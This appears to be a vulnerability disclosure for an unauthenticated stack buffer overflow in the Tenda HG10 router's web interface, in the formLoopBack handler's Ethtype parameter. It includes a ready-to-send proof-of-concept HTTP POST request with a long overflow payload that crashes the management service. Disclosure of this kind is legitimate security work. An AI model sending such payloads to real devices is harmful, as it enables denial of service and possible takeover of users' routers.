Unauthenticated Stack-Based Buffer Overflow in TENDA HG10 Web Interface

Vulnerability Overview Vulnerability Name: TENDA HG10: Stack-Based Buffer Overflow (CWE-121) in formLoopBack (/boaform/formLoopBack / Ethtype) Vulnerability Description: The web management interface of TENDA HG10 (/boaform/formLoopBack) contains a stack buffer overflow vulnerability. An attacker can trigger this vulnerability by sending an excessively long parameter, causing the Boa service to crash or enabling arbitrary code execution. Scope of Impact Affected Product: TENDA HG10 AC1200 Dual-Band Wi-Fi xPON ONT Vulnerability Type: Stack Buffer Overflow (CWE-121) Test Firmware Version: HG7_HG9_HG10re_300001138_en_xpon Firmware Download Link: https://www.tendacn.com/material/show/105719 Remediation Current Status: No specific remediation is provided. Users are advised to monitor for updates or patches released by the vendor. Attack Vector Entry Point: POST /boaform/formLoopBack Handler Selector: formLoopBack Injection Parameter: Ethtype Authentication Required: No User Interaction Required: No Technical Details Vulnerability Trigger Mechanism: When processing requests, the Boa management component directly copies the user-controlled parameter into the stack buffer without performing adequate length validation or truncation. Exploitation Steps: 1. Obtain unverified external input (the value). 2. Copy the externally controlled string into the target stack buffer . Since the copy/decode operation does not enforce the target size limit, the overflow value can overwrite the stack frame. 3. Achieve execution with system-level privileges, resulting in a Boa service crash or arbitrary code execution. Proof of Concept (PoC) Reproduction Steps 1. Connect to the Web management interface of TENDA HG10. 2. Send a crafted POST request to with an excessively long value to overflow stack buffer . 3. Observe the Boa service crashing, rendering the management interface unavailable. Example Request ```http POST /boaform/formLoopBack HTTP/1.1 Host: 192.168.188.140:8888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:149.0) Gecko/20100101 Firefox/149.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 1558 Origin: http://192.168.188.140:8888 Connection: keep-alive Referer: http://192.168.188.140:8888/triggerlan.asp?v=1775530168000 Upgrade-Insecure-Requests: 1 Priority: u=0, i apply$loopbackenable=1&detectionFrameInterval=100&Ethtype=0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Goal Reached Thanks to every supporter — we hit 100%!

Unauthenticated Stack-Based Buffer Overflow in TENDA HG10 Web Interface

More from this source